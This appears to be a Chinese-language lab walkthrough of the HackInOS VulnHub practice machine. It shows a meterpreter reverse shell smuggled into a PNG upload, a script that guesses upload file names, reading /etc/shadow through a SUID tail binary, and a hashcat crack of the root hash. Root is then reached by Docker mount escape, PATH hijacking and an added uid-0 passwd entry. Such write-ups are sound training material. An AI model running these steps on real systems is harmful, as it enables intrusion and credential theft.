此文章已投稿到公众号
Shadow Sec Team
,后期又进行了细节的补充,也收获了很多。
有些图片上传到了github图床,加载不出来可自行百度修改hosts文件
HackInOS靶机练习
靶机介绍
此靶机是一个综合性靶机,靶机中涉及到的知识点有很多,如主机发现、端口扫描、服务探测、cms识别、cms漏洞探测、rebots协议、代码审计、文件上传等渗透前期主要会用到的相关技术。
在拿到shell后对主机进行信息收集,以及后期的提权方式众多,包括但不限于docker逃逸、环境变量提权、suid提权。
环境
靶机链接:https://www.vulnhub.com/entry/hackinos-1,295/
链接:https://pan.baidu.com/s/1W1V6FIEy615HcsuUjG16Yw (VMWare可运行)
提取码:vxse
Oracle VM VirtualBox
桥接模式
kali:192.168.0.106
HackInOS:192.168.0.107
主机发现
Nmap scan report for bogon (192.168.0.107)
Host is up (0.0019s latency).
端口扫描
root@kali:~# nmap -sV 192.168.0.107
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 21:38 EDT
Nmap scan report for bogon (192.168.0.107)
Host is up (0.00020s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问192.168.0.107:8000
,发现是一个Web页面,使用WordPress搭建
访问robotstxt文件,发现有一个上传页面
robots.txt告诉网络搜索引擎的漫游器(又称网络爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
尝试进行文件上传,只返回一个表情符号
查看页面的源代码,发现给出了github的连接
代码审计
访问这个连接,给出了upload.php的源代码
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
//如40
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
//basename() 函数返回路径中的文件名部分:shell.php40
$file_name = $target_dir . basename($_FILES["file"]["name"]);
//$file_name = "uploads/shell.php"
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
//pathinfo() 函数以数组的形式返回文件路径的信息
//$imageFileType = "php"
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}
?>
</body>
</html>
只验证文件的类型,不对文件名后缀进行验证,对上传的文件名先加上1-100的随机数然后进行一次md5后作为新的文件名。使用msfconsole生成一个反弹shell,将反弹shell的代码添加到图片的后面,然后将图片的后缀改为php,这样就绕过文件类型验证.
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
Content-Type 文件类型 image/jpeg jpg image/bmp bmp image/png png application/x-php php
正常的图片上传(png)
注意:
和upload-labs pass-02的区别
制作反弹shell
root@kali:~#root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 lport=4444 -f raw > she.php
root@kali:~# cat she.php >> shell.png
//把she.php的内容附加到shell.png中
root@kali:~# mv shell.png shell.php
//将shell.php改名为shell.png,但图片mime类型未变,image/png
看一下she.php
,$ip
为我们kali的IP,$port
为我们kali要监听的端口
burp抓包
尾部即是我们的反弹shell
后期发现有的图片可能因为原本的内容问题,可能导致反弹shell不成功
在反弹shell里直接添加文件头也可以上传成功
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 192.168.0.106 //设置kali IP,端口默认为4444
lhost => 192.168.0.106
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.106:4444
我们需要猜解反弹shell的名字,运行python脚本
import hashlib
import requests
for i in range(101):
file_name = hashlib.md5('shell.php'+str(i)).hexdigest()
r = requests.get('http://192.168.0.107:8000/uploads/{}.php'.format(file_name))
访问成功就会返回一个会话
主机信息收集
查看上传的文件
因为这台靶机使用wordpress搭建,所以我们可以查看wordpress配置文件,获取数据库用户名密码
meterpreter > cat wp-config.php
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
查看主机信息
meterpreter > sysinfo
Computer : 1afdd1f6b82c
OS : Linux 1afdd1f6b82c 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64
Meterpreter : php/linux
这个主机名比较奇怪,判断主机是否在容器中,可以看到主机确实运行在容器中
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'Docker' container
提权,先上传一个Linux信息收集脚本
脚本地址https://github.com/sleventyeleven/linuxprivchecker
meterpreter > upload /root/linuxprivchecker.py /tmp/linuxprivchecker.py
[*] uploading : /root/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] Uploaded -1.00 B of 36.32 KiB (-0.0%): /root/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] uploaded : /root/linuxprivchecker.py -> /tmp/linuxprivchecker.py
运行这个脚本,它会输出很多关于主机的信息,我们主要看那些命令被设置了suid
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
参考链接:
https://www.cnblogs.com/shi-zheng/p/3222116.html
meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 150 created.
Channel 4 created.
python /tmp/linuxprivchecker.py
suid提权读取系统敏感文件
我们可以看到tail命令被设置了suid
使用tail命令去读取shadow文件
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
hashcat破解root账户密码
拿到root用户密码的hash值。先把hash值保存到文件root.hash中,然后用hashcat破解它
hashcat简单使用
https://yuzhejk.github.io/2020/10/22/hashcat/
root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, 512/1493 MB allocatable, 2MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=16 -D KERN_TYPE=1800 -D _unroll'
* Device #1: Kernel m01800-pure.8b900788.kernel not found in cache! Building may take a while...
* Device #1: Kernel amp_a0.3c074ce1.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: /usr/share/metasploit-framework/data/wordlists/common_roots.txt
* Passwords.: 4725
* Bytes.....: 37000
* Keyspace..: 4725
* Runtime...: 1 sec
Session..........: hashcat
Status...........: Cracked
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvE...GHova/
Time.Started.....: Mon Jun 22 23:37:43 2020 (23 secs)
Time.Estimated...: Mon Jun 22 23:38:06 2020 (0 secs)
Guess.Base.......: File (/usr/share/metasploit-framework/data/wordlists/common_roots.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 135 H/s (89.00ms) @ Accel:256 Loops:128 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3072/4725 (65.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 2560/4725 (54.18%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidates.#1....: ihateyou -> lunita
Started: Mon Jun 22 23:37:17 2020
Stopped: Mon Jun 22 23:38:07 2020
root@kali:~# cat root.out
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john
-w 调优
-a 指定要使用的破解模式,其值参考后面对参数。""-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码攻击。
-m 1800 = SHA-512(Unix)
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
最后得出密码为john
先获取一个交互shell
meterpreter > shell
Process 427 created.
Channel 7 created.
python -c "import pty;pty.spawn('/bin/bash');"
www-data@1afdd1f6b82c:/var/www/html$
提示注意细节,那就看看隐藏文件
root@1afdd1f6b82c:/var/www/html# ls -a /root/
ls -a /root/
. .. .bash_history .bashrc .nano .port .profile .wget-hsts flag
root@1afdd1f6b82c:/var/www/html# cat /root/.port
cat /root/.port
Listen to your friends..
7*
监听nc -lvnp 777
,在root目录下有一个ssh_cred
(文件名应该是这个,仔细找找)可以查看hummingbirdscyber
的用户名密码
我们使用前边配置文件获取的数据库密码登录数据库
root@1afdd1f6b82c:/var/www/html# mysql -h db -u wordpress -p
mysql -h db -u wordpress -p
Enter password: wordpress
Welcome to the MariaDB monitor. Commands end with ; or g.
Your MySQL connection id is 29
Server version: 5.7.25 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
MySQL [(none)]> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
MySQL [wordpress]> select * from host_ssh_cred
select * from host_ssh_cred
-> ;
;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.10 sec)
MySQL [wordpress]>
host_ssh_cred
表中有一个用于ssh连接的用户名和密码
shh登录
使用ssh登录
hummingbirdscyber
用户属于docker
组
查看镜像
查看正在运行的容器
Docker逃逸
将/root挂载到容器中,就可以读取到root目录下的文件
hummingbirdscyber@vulnvm:~$ docker run -it -v /root:/root ubuntu:latest
root@e10a8987d0ad:/# cat /root/flag
查看正在运行的容器
后期又发现一种提权方式,不放在正文了,后面再叙述
查看设置了SUID的可执行文件
hummingbirdscyber@vulnvm:~$ ls -lh $(find / -perm -u=s -type f 2>/dev/null)
-rwsr-xr-x 1 root root 31K Tem 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40K May 16 2018 /bin/mount
-rwsr-xr-x 1 root root 139K Oca 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 40K May 17 2017 /bin/su
-rwsr-xr-x 1 root root 27K May 16 2018 /bin/umount
-rwsr-xr-x 1 root root 8,6K Mar 1 2019 /home/hummingbirdscyber/Desktop/a.out
-rwsr-xr-x 1 root root 49K May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40K May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 74K May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 53K May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23K Tem 13 2018 /usr/bin/pkexec
-rwsr-xr-x 1 root root 134K Tem 4 2017 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus 42K Oca 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 419K Oca 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 15K Tem 13 2018 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 97K Tem 19 2018 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 19K Mar 18 2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
-rwsr-sr-x 1 root root 11K Haz 14 2018 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root dip 382K Oca 29 2016 /usr/sbin/pppd
有一个a.out
,尝试运行,结果是root
关于环境变量提权,我的理解就是:a.out
是以root身份运行,它可能执行的就是下面的程序,当我们重写一个whoami
命令,使他运行我们想运行的命令,执行程序时会先从环境变量的地址中查找有没有这个命令,有就执行,这样这个程序执行的就是我们想让它执行的命令,也可以称为命令劫持
#include<unistd.h>
void mian()
{
setuid(0);
setgid(0);
system("whoami")
}
后期请pwn大佬反编译了一波,主要命令如下
环境变量提权
创建一个whoami文件,作用是返回一个shell
#include <stdlib.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
这个文件的作用就是返回一个会话,因为它是以root身份执行的,所以它返回的是root权限的会话
hummingbirdscyber@vulnvm:~$ vi whoami.c
hummingbirdscyber@vulnvm:~$ gcc -o whoami whoami.c
hummingbirdscyber@vulnvm:~$ chmod a+x whoami
hummingbirdscyber@vulnvm:~$ echo $PATH
/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
将whoami
放入/home/hummingbirdscyber/bin
目录中,然后运行a.out
bin 是 Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令
hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv whoami bin/
hummingbirdscyber@vulnvm:~$ which whoami
/home/hummingbirdscyber/bin/whoami
hummingbirdscyber@vulnvm:~$ Desktop/a.out
我们运行a.out之后,他会以root身份执行whoami命令,它首先会在环境变量中寻找whoami,找到之后就会执行whoami,但我们坏境变量中的whoami文件功能是返回一个会话,所以最后执行结果就是一个root权限的会话
这样就获取了root权限
总结
三种提权方式
1.利用SUID可执行文件执行root操作
2.利用docker提权
3.利用环境变量提权
后记
利用docker逃逸挂载/etc/passwd
文件新建root
权限账户
参考
https://blog.csdn.net/weixin_46700042/article/details/108813878
可以看到hummingbirdscyber
用户并没有/etc/passwd
写入权限,按照我们docker逃逸的思路是不是可以将/etc/passwd
文件挂载到容器中,以此以容器中的root
权限写入一个具有root
权限的用户呢?
新建容器并挂载/etc/
目录,root
权限才具有写入权限,在容器中我们不就是root
吗?
此时passwd
文件内容
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
hummingbirdscyber:x:1000:1000:hummingbirdscyber,,,:/home/hummingbirdscyber:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
guest-mlixsk:x:998:998:Guest:/tmp/guest-mlixsk:/bin/bash
guest-eljybm:x:997:997:Guest:/tmp/guest-eljybm:/bin/bash
写入一个具有root
权限的用户
root@6573f2ad52d4:/# echo "test:adMpHktIn0tR2:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
详解
/etc/passwd
文件https://www.linuxprobe.com/explain-etc-passwd.html
可以看到我们root
权限的用户已经写入
退出容器,使用test/test
尝试登录,这样我们就新建了一个root
权限账户
参考
https://blog.werner.wiki/penetrate-hackinos/
https://www.freebuf.com/articles/system/170783.html
https://blog.csdn.net/T146lLa128XX0x/article/details/80921069